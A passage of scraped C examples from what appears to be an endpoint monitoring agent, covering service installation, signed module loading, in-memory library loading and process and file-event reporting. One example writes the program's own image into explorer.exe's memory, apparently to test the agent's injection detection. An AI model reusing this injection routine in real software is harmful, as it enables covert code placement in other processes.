    rpal_debug_info( "uninstalling service" );

    if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS ) ) )
    {
        if( NULL != ( hSvc = OpenServiceW( hScm, svcName, SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE ) ) )
        {
            if( ControlService( hSvc, SERVICE_CONTROL_STOP, &svcStatus ) )
            {
                while( SERVICE_STOPPED != svcStatus.dwCurrentState &&
                       0 != nRetries )
                {
                    rpal_debug_error( "waiting for service to stop..." );
                    rpal_thread_sleep( 1000 );

                    if( !QueryServiceStatus( hSvc, &svcStatus ) )
                    {
                        break;
                    }

                    nRetries--;
                }

                if( 0 == nRetries )
                {
                    rpal_debug_error( "timed out waiting for service to stop, moving on..." );
                }
                else
                {
                    rpal_debug_info( "service stopped" );
                }
            }
            else
            {
                rpal_debug_error( "could not stop service: %d", GetLastError() );
            }

            if( DeleteService( hSvc ) )
            {
                rpal_debug_info( "service deleted" );
            }
            else
            {
                rpal_debug_error( "could not delete service: %d", GetLastError() );
            }

            CloseServiceHandle( hSvc );
        }
        else
        {
            rpal_debug_error( "could not open service: %d", GetLastError() );
        }

        CloseServiceHandle( hScm );
    }
    else
    {
        rpal_debug_error( "could not open SCM: %d", GetLastError() );
    }

    rpal_thread_sleep( MSEC_FROM_SEC( 1 ) );

    if( rpal_file_delete( destPath, FALSE ) )
    {
        rpal_debug_info( "service executable deleted" );
    }
    else
    {
        rpal_debug_error( "could not delete service executable: %d", GetLastError() );
    }

    return GetLastError();
}
Example #17
0
static RVOID
    injectIntoProcess
    (

    )
{
    RNCHAR strSeDebug[] = _NC( "SeDebugPrivilege" );
    processLibProcEntry* procIds = NULL;
    processLibProcEntry* tmpProcId = NULL;
    rSequence targetProc = NULL;
    RU32 targetPid = 0;
    RPWCHAR procName = NULL;
    RWCHAR targetProcName[] = _WCH( "EXPLORER.EXE" );

    HANDLE hProc = NULL;
    RU32 selfSize = 0;

    RPVOID remoteDest = NULL;

    SIZE_T payloadSize = 0;
    RPU8 payloadBuff = NULL;
    
    rpal_debug_info( "getting debug privilege to inject..." );
    if( !Get_Privilege( strSeDebug ) )
    {
        rpal_debug_error( "could not get debug privilege, are we running as admin?" );
        return;
    }

    rpal_debug_info( "getting process list to find explorer.exe" );
    procIds = processLib_getProcessEntries( FALSE );
    tmpProcId = procIds;
    while( NULL != tmpProcId )
    {
        if( NULL != ( targetProc = processLib_getProcessInfo( tmpProcId->pid, NULL ) ) )
        {
            if( rSequence_getSTRINGN( targetProc, RP_TAGS_FILE_PATH, &procName ) )
            {
                rpal_string_toupper( procName );
                if( NULL != rpal_string_strstr( procName, targetProcName ) )
                {
                    rpal_debug_info( "found the target process: %d", tmpProcId->pid );
                    targetPid = tmpProcId->pid;
                }
                else
                {
                    rpal_debug_info( "not target process, next..." );
                }
            }
            else
            {
                rpal_debug_warning( "process without file path, odd..." );
            }

            rSequence_free( targetProc );
            targetProc = NULL;

            if( 0 != targetPid )
            {
                break;
            }
        }

        tmpProcId++;
    }

    rpal_memory_free( procIds );

    if( 0 != targetPid )
    {
        rpal_debug_info( "getting size of self..." );
        if( (RU32)(-1) != ( selfSize = rpal_file_getSize( g_self_path, FALSE ) ) )
        {
            rpal_debug_info( "opening target process with right privileges..." );
            if( NULL != ( hProc = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, targetPid ) ) )
            {
                rpal_debug_info( "allocating required memory in remote process..." );
                if( NULL != ( remoteDest = VirtualAllocEx( hProc, NULL, selfSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) )
                {
                    rpal_debug_info( "reading payload to memory before writing it to remote." );
                    if( rpal_file_read( g_self_path, (RPVOID*)&payloadBuff, (RU32*)&payloadSize, FALSE ) )
                    {
                        rpal_debug_info( "writing payload to remote process." );
                        if( WriteProcessMemory( hProc, remoteDest, payloadBuff, payloadSize, &payloadSize ) &&
                            payloadSize == selfSize )
                        {
                            rpal_debug_info( "successfully written payload to remote process. This should look like an injected PE although no thread was started." );
                        }
                        else
                        {
                            rpal_debug_error( "error writing payload to remote process." );
                        }

                        rpal_memory_free( payloadBuff );
                    }
                    else
                    {
                        rpal_debug_error( "error reading ourselves as payload." );
                    }
                }
                else
                {
                    rpal_debug_error( "error allocating memory in remote process." );
                }

                CloseHandle( hProc );
            }
            else
            {
                rpal_debug_error( "error opening process with VM privilges." );
            }
        }
        else
        {
            rpal_debug_error( "error getting size of self." );
        }
    }
}
Example #18
0
RPRIVATE_TESTABLE
RBOOL
    upgradeHcp
    (
        rSequence seq
    )
{
    RBOOL isSuccess = FALSE;

    RPU8 tmpBuff = NULL;
    RU32 tmpSize = 0;
    RPU8 tmpSig = NULL;
    RU32 tmpSigSize = 0;
    RPNCHAR currentModulePath = NULL;
    RPNCHAR backupPath = NULL;

    if( NULL != seq )
    {
        if( rSequence_getBUFFER( seq,
                                 RP_TAGS_BINARY,
                                 &tmpBuff,
                                 &tmpSize ) &&
            rSequence_getBUFFER( seq,
                                 RP_TAGS_SIGNATURE,
                                 &tmpSig,
                                 &tmpSigSize ) &&
            CRYPTOLIB_SIGNATURE_SIZE == tmpSigSize )
        {
            // We got the data, now verify the buffer signature
            if( CryptoLib_verify( tmpBuff, tmpSize, getRootPublicKey(), tmpSig ) )
            {
                if( NULL != ( currentModulePath = processLib_getCurrentModulePath() ) )
                {
                    if( NULL != ( backupPath = rpal_string_strdup( currentModulePath ) ) &&
                        NULL != ( backupPath = rpal_string_strcatEx( backupPath, _NC( ".old" ) ) ) )
                    {
                        rpal_file_delete( backupPath, FALSE );

                        if( rpal_file_move( currentModulePath, backupPath ) )
                        {
                            if( rpal_file_write( currentModulePath, tmpBuff, tmpSize, TRUE ) )
                            {
                                rpal_debug_info( "hcp was successfully updated" );
                                isSuccess = TRUE;
                            }
                            else
                            {
                                rpal_debug_warning( "failed to write new hcp to disk" );

                                if( !rpal_file_move( backupPath, currentModulePath ) )
                                {
                                    rpal_debug_warning( "old hcp was reverted" );
                                }
                                else
                                {
                                    rpal_debug_error( "could not revert old hcp" );
                                }
                            }
                        }
                        else
                        {
                            rpal_debug_warning( "failed to move hcp to backup location" );
                        }

                        rpal_memory_free( backupPath );
                    }

                    rpal_memory_free( currentModulePath );
                }
                else
                {
                    rpal_debug_error( "failed to get current module path" );
                }
            }
            else
            {
                rpal_debug_warning( "New HCP binary signature is invalid." );
            }
        }
        else
        {
            rpal_debug_warning( "Upgrade command missing or invalid component." );
        }
    }

    return isSuccess;
}
Example #19
0
RBOOL
    rpHostCommonPlatformLib_launch
    (
        RU8 configHint,
        RPNCHAR primaryHomeUrl,
        RPNCHAR secondaryHomeUrl
    )
{
    RBOOL isInitSuccessful = FALSE;
    rSequence staticConfig = NULL;
    RPCHAR tmpStr = NULL;
    rSequence tmpSeq = NULL;
    RPU8 tmpBuffer = NULL;
    RU32 tmpSize = 0;
    RU16 tmpPort = 0;

    rpal_debug_info( "launching hcp" );

#ifdef RPAL_PLATFORM_WINDOWS
    if( setGlobalCrashHandler() &&
        SetConsoleCtrlHandler( (PHANDLER_ROUTINE)ctrlHandler, TRUE ) )
    {
        rpal_debug_info( "global crash handler set" );
    }
    else
    {
        rpal_debug_warning( "error setting global crash handler" );
    }
#endif

    if( 1 == rInterlocked_increment32( &g_hcpContext.isRunning ) )
    {
        if( rpal_initialize( NULL, RPAL_COMPONENT_HCP ) )
        {
            CryptoLib_init();

            if( NULL == ( g_hcpContext.cloudConnectionMutex = rMutex_create() ) ||
                NULL == ( g_hcpContext.isCloudOnline = rEvent_create( TRUE ) ) )
            {
                rMutex_free( g_hcpContext.cloudConnectionMutex );
                rpal_debug_error( "could not create cloud connection mutex or event" );
                return FALSE;
            }

            g_hcpContext.currentId.raw = g_idTemplate.raw;

            // We attempt to load some initial config from the serialized
            // rSequence that can be patched in this binary.
            if( NULL != ( staticConfig = getStaticConfig() ) )
            {
                if( rSequence_getSTRINGA( staticConfig, RP_TAGS_HCP_PRIMARY_URL, &tmpStr ) &&
                    rSequence_getRU16( staticConfig, RP_TAGS_HCP_PRIMARY_PORT, &tmpPort ) )
                {
                    g_hcpContext.primaryUrl = rpal_string_strdupA( tmpStr );
                    g_hcpContext.primaryPort = tmpPort;
                    rpal_debug_info( "loading primary url from static config" );
                }

                if( rSequence_getSTRINGA( staticConfig, RP_TAGS_HCP_SECONDARY_URL, &tmpStr ) &&
                    rSequence_getRU16( staticConfig, RP_TAGS_HCP_SECONDARY_PORT, &tmpPort ) )
                {
                    g_hcpContext.secondaryUrl = rpal_string_strdupA( tmpStr );
                    g_hcpContext.secondaryPort = tmpPort;
                    rpal_debug_info( "loading secondary url from static config" );
                }
                if( rSequence_getSEQUENCE( staticConfig, RP_TAGS_HCP_ID, &tmpSeq ) )
                {
                    g_hcpContext.currentId = seqToHcpId( tmpSeq );
                    rpal_debug_info( "loading default id from static config" );
                }

                if( rSequence_getBUFFER( staticConfig, RP_TAGS_HCP_C2_PUBLIC_KEY, &tmpBuffer, &tmpSize ) )
                {
                    setC2PublicKey( rpal_memory_duplicate( tmpBuffer, tmpSize ) );
                    rpal_debug_info( "loading c2 public key from static config" );
                }

                if( rSequence_getBUFFER( staticConfig, RP_TAGS_HCP_ROOT_PUBLIC_KEY, &tmpBuffer, &tmpSize ) )
                {
                    setRootPublicKey( rpal_memory_duplicate( tmpBuffer, tmpSize ) );
                    rpal_debug_info( "loading root public key from static config" );
                }

                if( rSequence_getSTRINGA( staticConfig, RP_TAGS_HCP_DEPLOYMENT_KEY, &tmpStr ) )
                {
                    g_hcpContext.deploymentKey = rpal_string_strdupA( tmpStr );
                    rpal_debug_info( "loading deployment key from static config" );
                }

                rSequence_free( staticConfig );
            }

            // Now we will override the defaults (if present) with command
            // line parameters.
            if( NULL != primaryHomeUrl &&
                0 != rpal_string_strlen( primaryHomeUrl ) )
            {
                if( NULL != g_hcpContext.primaryUrl )
                {
                    rpal_memory_free( g_hcpContext.primaryUrl );
                    g_hcpContext.primaryUrl = NULL;
                }
                g_hcpContext.primaryUrl = rpal_string_ntoa( primaryHomeUrl );
            }

            if( NULL != secondaryHomeUrl &&
                0 != rpal_string_strlen( secondaryHomeUrl  ) )
            {
                if( NULL != g_hcpContext.secondaryUrl )
                {
                    rpal_memory_free( g_hcpContext.secondaryUrl );
                    g_hcpContext.secondaryUrl = NULL;
                }
                g_hcpContext.secondaryUrl = rpal_string_ntoa( secondaryHomeUrl );
            }

            g_hcpContext.enrollmentToken = NULL;
            g_hcpContext.enrollmentTokenSize = 0;

            getStoreConf();  /* Sets the agent ID platform. */
            
            // Set the current configId
            g_hcpContext.currentId.id.configId = configHint;

            if( startBeacons() )
            {
                isInitSuccessful = TRUE;
            }
            else
            {
                rpal_debug_warning( "error starting beacons" );
            }

            CryptoLib_deinit();
        }
        else
        {
            rpal_debug_warning( "hcp platform could not init rpal" );
        }
    }
    else
    {
        rInterlocked_decrement32( &g_hcpContext.isRunning );
        rpal_debug_info( "hcp already launched" );
    }

    return isInitSuccessful;
}
Example #20
0
RBOOL
    rpHostCommonPlatformLib_load
    (
        RPNCHAR modulePath,
        RU32 moduleId
    )
{
    RBOOL isSuccess = FALSE;

    RU32 moduleIndex = 0;
    rpal_thread_func pEntry = NULL;
    rpHCPModuleContext* modContext = NULL;
    RPCHAR errorStr = NULL;

    OBFUSCATIONLIB_DECLARE( entrypoint, RP_HCP_CONFIG_MODULE_ENTRY );
    OBFUSCATIONLIB_DECLARE( recvMessage, RP_HCP_CONFIG_MODULE_RECV_MESSAGE );

    if( NULL != modulePath )
    {
        for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ )
        {
            if( 0 == g_hcpContext.modules[ moduleIndex ].hThread )
            {
                // Found an empty spot
#ifdef RPAL_PLATFORM_WINDOWS
                g_hcpContext.modules[ moduleIndex ].hModule = LoadLibraryW( modulePath );
#elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX )
                g_hcpContext.modules[ moduleIndex ].hModule = dlopen( modulePath, RTLD_NOW | RTLD_LOCAL );
#endif
                if( NULL != g_hcpContext.modules[ moduleIndex ].hModule )
                {
                    OBFUSCATIONLIB_TOGGLE( entrypoint );
#ifdef RPAL_PLATFORM_WINDOWS
                    pEntry = (rpal_thread_func)GetProcAddress( (HMODULE)g_hcpContext.modules[ moduleIndex ].hModule, 
                                                               (RPCHAR)entrypoint );
#elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX )
                    pEntry = (rpal_thread_func)dlsym( g_hcpContext.modules[ moduleIndex ].hModule, (RPCHAR)entrypoint );
#endif
                    OBFUSCATIONLIB_TOGGLE( entrypoint );

                    if( NULL != pEntry )
                    {
                        modContext = &(g_hcpContext.modules[ moduleIndex ].context);

                        modContext->pCurrentId = &(g_hcpContext.currentId);
                        modContext->func_sendHome = doSend;
                        modContext->isTimeToStop = rEvent_create( TRUE );
                        modContext->rpalContext = rpal_Context_get();
                        modContext->isOnlineEvent = g_hcpContext.isCloudOnline;

                        if( NULL != modContext->isTimeToStop )
                        {
                            g_hcpContext.modules[ moduleIndex ].id = (RpHcp_ModuleId)moduleId;
                            g_hcpContext.modules[ moduleIndex ].isTimeToStop  = modContext->isTimeToStop;
                            OBFUSCATIONLIB_TOGGLE( recvMessage );
#ifdef RPAL_PLATFORM_WINDOWS
                            g_hcpContext.modules[ moduleIndex ].func_recvMessage = 
                                    (rpHCPModuleMsgEntry)GetProcAddress( (HMODULE)g_hcpContext.modules[ moduleIndex ].hModule,
                                                                         (RPCHAR)recvMessage );
#elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX )
                            g_hcpContext.modules[ moduleIndex ].func_recvMessage = 
                                    (rpHCPModuleMsgEntry)dlsym( g_hcpContext.modules[ moduleIndex ].hModule, (RPCHAR)recvMessage );
#endif
                            OBFUSCATIONLIB_TOGGLE( recvMessage );
                            g_hcpContext.modules[ moduleIndex ].hThread = rpal_thread_new( pEntry, modContext );

                            if( 0 != g_hcpContext.modules[ moduleIndex ].hThread )
                            {
                                g_hcpContext.modules[ moduleIndex ].isOsLoaded = TRUE;
                                isSuccess = TRUE;
                                rpal_debug_info( "module %S successfully loaded manually.", modulePath );
                            }
                        }
                    }
                    else
                    {
#ifdef RPAL_PLATFORM_WINDOWS
                        FreeLibrary( (HMODULE)g_hcpContext.modules[ moduleIndex ].hModule );
#elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX )
                        dlclose( g_hcpContext.modules[ moduleIndex ].hModule );
#endif
                        g_hcpContext.modules[ moduleIndex ].hModule = NULL;
                        rpal_debug_error( "Could not manually finding the entry point to a module!" );
                    }
                }
                else
                {
#if defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX )
                    errorStr = dlerror();
#endif
                    rpal_debug_error( "Could not manually load module %S: %X %s", 
                                      modulePath, 
                                      rpal_error_getLast(), 
                                      errorStr );
                }

                break;
            }
        }
    }
    //forceCrash();
    return isSuccess;
}
Example #21
0
static
RU32
    installService
    (

    )
{
    RU32 res = (RU32)-1;

    RNCHAR currentPath[ RPAL_MAX_PATH ] = {0};
    RU32 currentPathSize = sizeof( currentPath );
    RNCHAR svcDir[] = { _SERVICE_DIR };
    RNCHAR svcPath[] = { _SERVICE_FILE };
    RNCHAR svcDescPath[] = { _SERVICE_DESC_FILE };
    RNCHAR svcDesc[] = { _SERVICE_DESC };
    RBOOL isOnDisk = FALSE;
    RNCHAR svcLoad[] = { _SERVICE_LOAD };
    RNCHAR svcStart[] = { _SERVICE_START };

    if( 0 == _NSGetExecutablePath( currentPath, &currentPathSize ) )
    {
        if( rDir_create( svcDir ) )
        {
            chmod( svcDir, S_IRWXU );
        }

        if( rpal_file_copy( currentPath, svcPath ) )
        {
            if( 0 != chmod( svcPath, S_IRWXU ) )
            {
                rpal_debug_warning( "could not set restricted permissions on executable" );
            }

            if( rpal_file_write( svcDescPath, svcDesc, rpal_string_strlen( svcDesc ), TRUE ) )
            {
                if( 0 != chmod( svcDescPath, S_IRWXU ) )
                {
                    rpal_debug_warning( "could not set restricted permissions on service descriptor" );
                }

                isOnDisk = TRUE;
            }
            else
            {
                rpal_debug_error( "could not write service descriptor" );
            }
        }
        else
        {
            rpal_debug_error( "could not copy executable to service location" );
        }
    }
    else
    {
        rpal_debug_error( "could not get current executable path" );
    }

    if( isOnDisk )
    {
        if( 0 != system( svcLoad ) )
        {
            rpal_debug_warning( "failed to load service, already exists?" );
        }

        if( 0 != system( svcStart ) )
        {
            rpal_debug_warning( "failed to start service, already running?" );
        }
        else
        {
            rpal_debug_info( "successfully installed" );
            res = 0;
        }
    }

    return res;
}
Example #22
0
static
VOID WINAPI 
    ServiceMain
    (
        DWORD  dwArgc,
        RPCHAR lpszArgv
    )
{
    RU32 memUsed = 0;
    RWCHAR svcName[] = { _SERVICE_NAME };
    RU32 i = 0;

    UNREFERENCED_PARAMETER( dwArgc );
    UNREFERENCED_PARAMETER( lpszArgv );


    if( NULL == ( g_svc_status_handle = RegisterServiceCtrlHandlerW( svcName, SvcCtrlHandler ) ) )
    {
        return;
    }

    rpal_memory_zero( &g_svc_status, sizeof( g_svc_status ) );
    g_svc_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_svc_status.dwControlsAccepted = 0;
    g_svc_status.dwCurrentState = SERVICE_START_PENDING;
    g_svc_status.dwWin32ExitCode = 0;
    g_svc_status.dwServiceSpecificExitCode = 0;
    g_svc_status.dwCheckPoint = 0;
    SetServiceStatus( g_svc_status_handle, &g_svc_status );

    if( NULL == ( g_timeToQuit = rEvent_create( TRUE ) ) )
    {
        g_svc_status.dwControlsAccepted = 0;
        g_svc_status.dwCurrentState = SERVICE_STOPPED;
        g_svc_status.dwWin32ExitCode = GetLastError();
        g_svc_status.dwCheckPoint = 1;
        SetServiceStatus( g_svc_status_handle, &g_svc_status );
        return;
    }

    rpal_debug_info( "initialising rpHCP." );
    if( !rpHostCommonPlatformLib_launch( g_svc_primary, g_svc_secondary ) )
    {
        rpal_debug_warning( "error launching hcp." );
    }

    for( i = 0; i < ARRAY_N_ELEM( g_manual_loads ); i++ )
    {
        if( NULL != g_manual_loads[ i ].modPath )
        {
            if( 0 != g_manual_loads[ i ].nMod )
            {
#ifdef HCP_EXE_ENABLE_MANUAL_LOAD
                rpHostCommonPlatformLib_load( g_manual_loads[ i ].modPath, g_manual_loads[ i ].nMod );
#endif
            }
            else
            {
                rpal_debug_error( "Mismatched number of -m modulePath and -n moduleId statements provided!" );
            }

            rpal_memory_free( g_manual_loads[ i ].modPath );
            g_manual_loads[ i ].modPath = NULL;
        }
        else
        {
            break;
        }
    }

    g_svc_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    g_svc_status.dwCurrentState = SERVICE_RUNNING;
    g_svc_status.dwWin32ExitCode = 0;
    g_svc_status.dwCheckPoint = 1;
    SetServiceStatus( g_svc_status_handle, &g_svc_status );

    rpal_debug_info( "...running, waiting to exit..." );
    rEvent_wait( g_timeToQuit, RINFINITE );
    rEvent_free( g_timeToQuit );

    rpal_debug_info( "...exiting..." );
    rpal_Context_cleanup();

    memUsed = rpal_memory_totalUsed();
    if( 0 != memUsed )
    {
        rpal_debug_critical( "Memory leak: %d bytes.\n", memUsed );
        //rpal_memory_findMemory();
#ifdef RPAL_FEATURE_MEMORY_ACCOUNTING
        rpal_memory_printDetailedUsage();
#endif
    }

    g_svc_status.dwControlsAccepted = 0;
    g_svc_status.dwCurrentState = SERVICE_STOPPED;
    g_svc_status.dwWin32ExitCode = 0;
    g_svc_status.dwCheckPoint = 3;
    SetServiceStatus( g_svc_status_handle, &g_svc_status );
}
static
RVOID
    processFileIo
    (
        rpcm_tag notifType,
        rSequence event
    )
{
    ProcExtInfo* ctx = NULL;
    RPNCHAR path = NULL;
    RPVOID patternCtx = 0;
    RU8 patternId = 0;
    RPU8 atomId = NULL;
    RU32 pid = 0;
    rSequence newEvent = NULL;

    UNREFERENCED_PARAMETER( notifType );

    if( rSequence_getSTRINGN( event, RP_TAGS_FILE_PATH, &path ) &&
        HbsGetParentAtom( event, &atomId ) &&
        rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) )
    {
        if( rMutex_lock( g_mutex ) )
        {
            obsLib_resetSearchState( g_extensions );
            if( obsLib_setTargetBuffer( g_extensions,
                                        path,
                                        rpal_string_strsize( path ) ) )
            {
                while( obsLib_nextHit( g_extensions, &patternCtx, NULL ) )
                {
                    if( NULL != ctx ||
                        NULL != ( ctx = getProcContext( atomId ) ) )
                    {
                        patternId = (RU8)PTR_TO_NUMBER( patternCtx );

                        if( !IS_FLAG_ENABLED( ctx->extBitMask, (RU64)1 << patternId ) )
                        {
                            rpal_debug_info( "process " RF_U32 " observed file io " RF_U64, 
                                             pid, patternId + 1 );
                            ENABLE_FLAG( ctx->extBitMask, (RU64)1 << patternId );
                            
                            if( NULL != ( newEvent = rSequence_new() ) )
                            {
                                HbsSetParentAtom( newEvent, atomId );
                                rSequence_addRU32( newEvent, RP_TAGS_PROCESS_ID, pid );
                                rSequence_addRU8( newEvent, RP_TAGS_RULE_NAME, patternId + 1 );
                                rSequence_addSTRINGN( newEvent, RP_TAGS_FILE_PATH, ctx->processPath );

                                hbs_publish( RP_TAGS_NOTIFICATION_FILE_TYPE_ACCESSED, newEvent );
                                rSequence_free( newEvent );
                            }
                        }
                    }
                    else
                    {
                        rpal_debug_error( "error getting process context" );
                        break;
                    }
                }
            }

            rMutex_unlock( g_mutex );
        }
    }
}
static RBOOL
    notifyOfProcess
    (
        RU32 pid,
        RU32 ppid,
        RBOOL isStarting,
        RNATIVESTR optFilePath,
        RNATIVESTR optCmdLine,
        RU32 optUserId,
        RU64 optTs
    )
{
    RBOOL isSuccess = FALSE;
    rSequence info = NULL;
    rSequence parentInfo = NULL;
    RU32 tmpUid = 0;
    RNATIVESTR cleanPath = NULL;

    // We prime the information with whatever was provided
    // to us by the kernel acquisition. If not available
    // we generate using the UM only way.
    if( 0 != rpal_string_strlenn( optFilePath ) &&
        ( NULL != info ||
          NULL != ( info = rSequence_new() ) ) )
    {
        cleanPath = rpal_file_cleann( optFilePath );
        rSequence_addSTRINGN( info, RP_TAGS_FILE_PATH, cleanPath ? cleanPath : optFilePath );
        rpal_memory_free( cleanPath );
    }

    if( 0 != rpal_string_strlenn( optCmdLine ) &&
        ( NULL != info ||
          NULL != ( info = rSequence_new() ) ) )
    {
        rSequence_addSTRINGN( info, RP_TAGS_COMMAND_LINE, optCmdLine );
    }

    if( NULL != info )
    {
        info = processLib_getProcessInfo( pid, info );
    }
    else if( !isStarting ||
             NULL == ( info = processLib_getProcessInfo( pid, info ) ) )
    {
        info = rSequence_new();
    }

    if( rpal_memory_isValid( info ) )
    {
        rSequence_addRU32( info, RP_TAGS_PROCESS_ID, pid );
        rSequence_addRU32( info, RP_TAGS_PARENT_PROCESS_ID, ppid );
        if( 0 != optTs )
        {
            rSequence_addTIMESTAMP( info, RP_TAGS_TIMESTAMP, rpal_time_getGlobalFromLocal( optTs ) );
        }
        else
        {
            rSequence_addTIMESTAMP( info, RP_TAGS_TIMESTAMP, rpal_time_getGlobal() );
        }

        if( isStarting )
        {
            if( NULL != ( parentInfo = processLib_getProcessInfo( ppid, NULL ) ) &&
                !rSequence_addSEQUENCE( info, RP_TAGS_PARENT, parentInfo ) )
            {
                rSequence_free( parentInfo );
            }
        }

        if( isStarting )
        {
            if( KERNEL_ACQ_NO_USER_ID != optUserId &&
                !rSequence_getRU32( info, RP_TAGS_USER_ID, &tmpUid ) )
            {
                rSequence_addRU32( info, RP_TAGS_USER_ID, optUserId );
            }

            if( notifications_publish( RP_TAGS_NOTIFICATION_NEW_PROCESS, info ) )
            {
                isSuccess = TRUE;
                rpal_debug_info( "new process starting: %d / %d", pid, ppid );
            }
        }
        else
        {
            if( notifications_publish( RP_TAGS_NOTIFICATION_TERMINATE_PROCESS, info ) )
            {
                isSuccess = TRUE;
                rpal_debug_info( "new process terminating: %d / %d", pid, ppid );
            }
        }

        rSequence_free( info );
    }
    else
    {
        rpal_debug_error( "could not allocate info on new process" );
    }

    return isSuccess;
}
Example #25
0
RPRIVATE_TESTABLE
RBOOL 
    loadModule
    (
        rpHCPContext* hcpContext,
        rSequence seq
    )
{
    RBOOL isSuccess = FALSE;

    RU32 moduleIndex = (RU32)(-1);

    RPU8 tmpBuff = NULL;
    RU32 tmpSize = 0;

    RPU8 tmpSig = NULL;
    RU32 tmpSigSize = 0;

    rpal_thread_func pEntry = NULL;

    rpHCPModuleContext* modContext = NULL;

    OBFUSCATIONLIB_DECLARE( entryName, RP_HCP_CONFIG_MODULE_ENTRY );
    OBFUSCATIONLIB_DECLARE( recvMessage, RP_HCP_CONFIG_MODULE_RECV_MESSAGE );

    if( NULL != seq &&
        NULL != hcpContext )
    {
        for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ )
        {
            if( 0 == hcpContext->modules[ moduleIndex ].hThread )
            {
                // Found an empty spot
                break;
            }
        }
    }

    if( RP_HCP_CONTEXT_MAX_MODULES != moduleIndex &&
        (RU32)(-1) != moduleIndex )
    {
        // We got an empty spot for our module
        if( rSequence_getRU8( seq, 
                              RP_TAGS_HCP_MODULE_ID, 
                              &(hcpContext->modules[ moduleIndex ].id ) ) &&
            rSequence_getBUFFER( seq,
                                 RP_TAGS_BINARY, 
                                 &tmpBuff, 
                                 &tmpSize ) &&
            rSequence_getBUFFER( seq,
                                 RP_TAGS_SIGNATURE,
                                 &tmpSig,
                                 &tmpSigSize ) &&
            CRYPTOLIB_SIGNATURE_SIZE == tmpSigSize )
        {
            // We got the data, now verify the buffer signature
            if( CryptoLib_verify( tmpBuff, tmpSize, getRootPublicKey(), tmpSig ) )
            {
                // Ready to load the module
                rpal_debug_info( "loading module in memory" );
                hcpContext->modules[ moduleIndex ].hModule = MemoryLoadLibrary( tmpBuff, tmpSize );

                if( NULL != hcpContext->modules[ moduleIndex ].hModule )
                {
                    OBFUSCATIONLIB_TOGGLE( entryName );

                    pEntry = (rpal_thread_func)MemoryGetProcAddress( hcpContext->modules[ moduleIndex ].hModule,
                                                            (RPCHAR)entryName );

                    OBFUSCATIONLIB_TOGGLE( entryName );

                    if( NULL != pEntry )
                    {
                        modContext = &(hcpContext->modules[ moduleIndex ].context);

                        modContext->pCurrentId = &( hcpContext->currentId );
                        modContext->func_sendHome = doSend;
                        modContext->isTimeToStop = rEvent_create( TRUE );
                        modContext->rpalContext = rpal_Context_get();
                        modContext->isOnlineEvent = hcpContext->isCloudOnline;

                        if( NULL != modContext->isTimeToStop )
                        {
                            hcpContext->modules[ moduleIndex ].isTimeToStop = modContext->isTimeToStop;

                            OBFUSCATIONLIB_TOGGLE( recvMessage );
                            hcpContext->modules[ moduleIndex ].func_recvMessage =
                                    (rpHCPModuleMsgEntry)MemoryGetProcAddress( hcpContext->modules[ moduleIndex ].hModule,
                                                                               (RPCHAR)recvMessage );
                            OBFUSCATIONLIB_TOGGLE( recvMessage );

                            hcpContext->modules[ moduleIndex ].hThread = rpal_thread_new( pEntry, modContext );

                            if( 0 != hcpContext->modules[ moduleIndex ].hThread )
                            {
                                CryptoLib_hash( tmpBuff, tmpSize, &(hcpContext->modules[ moduleIndex ].hash ) );
                                hcpContext->modules[ moduleIndex ].isOsLoaded = FALSE;
                                isSuccess = TRUE;
                            }
                            else
                            {
                                rpal_debug_warning( "Error creating handler thread for new module." );
                            }
                        }
                    }
                    else
                    {
                        rpal_debug_warning( "Could not find new module's entry point." );
                    }
                }
                else
                {
                    rpal_debug_warning( "Error loading module in memory." );
                }
            }
            else
            {
                rpal_debug_warning( "New module signature invalid." );
            }
        }
        else
        {
            rpal_debug_warning( "Could not find core module components to load." );
        }

        // Main cleanup
        if( !isSuccess )
        {
            if( NULL != modContext )
            {
                IF_VALID_DO( modContext->isTimeToStop, rEvent_free );
            }

            if( NULL != hcpContext->modules[ moduleIndex ].hModule )
            {
                MemoryFreeLibrary( hcpContext->modules[ moduleIndex ].hModule );
            }

            rpal_memory_zero( &(hcpContext->modules[ moduleIndex ] ),
                              sizeof( hcpContext->modules[ moduleIndex ] ) );
        }
    }
    else
    {
        rpal_debug_error( "Could not find a spot for new module, or invalid module id!" );
    }

    return isSuccess;
}
Example #26
0
static
RU32
    installService
    (

    )
{
    HMODULE hModule = NULL;
    RWCHAR curPath[ RPAL_MAX_PATH ] = { 0 };
    RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" );
    RWCHAR svcPath[] = _WCH( "\"%SYSTEMROOT%\\system32\\rphcp.exe\" -w" );
    SC_HANDLE hScm = NULL;
    SC_HANDLE hSvc = NULL;
    RWCHAR svcName[] = { _SERVICE_NAMEW };
    RWCHAR svcDisplay[] = { _WCH( "rp_HCP_Svc" ) };

    rpal_debug_info( "installing service" );

    hModule = GetModuleHandleW( NULL );
    if( NULL != hModule )
    {
        if( ARRAY_N_ELEM( curPath ) > GetModuleFileNameW( hModule, curPath, ARRAY_N_ELEM( curPath ) ) )
        {
            if( rpal_file_copy( curPath, destPath ) )
            {
                if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_CREATE_SERVICE ) ) )
                {
                    if( NULL != ( hSvc = CreateServiceW( hScm,
                                                         svcName,
                                                         svcDisplay,
                                                         SERVICE_ALL_ACCESS,
                                                         SERVICE_WIN32_OWN_PROCESS,
                                                         SERVICE_AUTO_START,
                                                         SERVICE_ERROR_NORMAL,
                                                         svcPath,
                                                         NULL,
                                                         NULL,
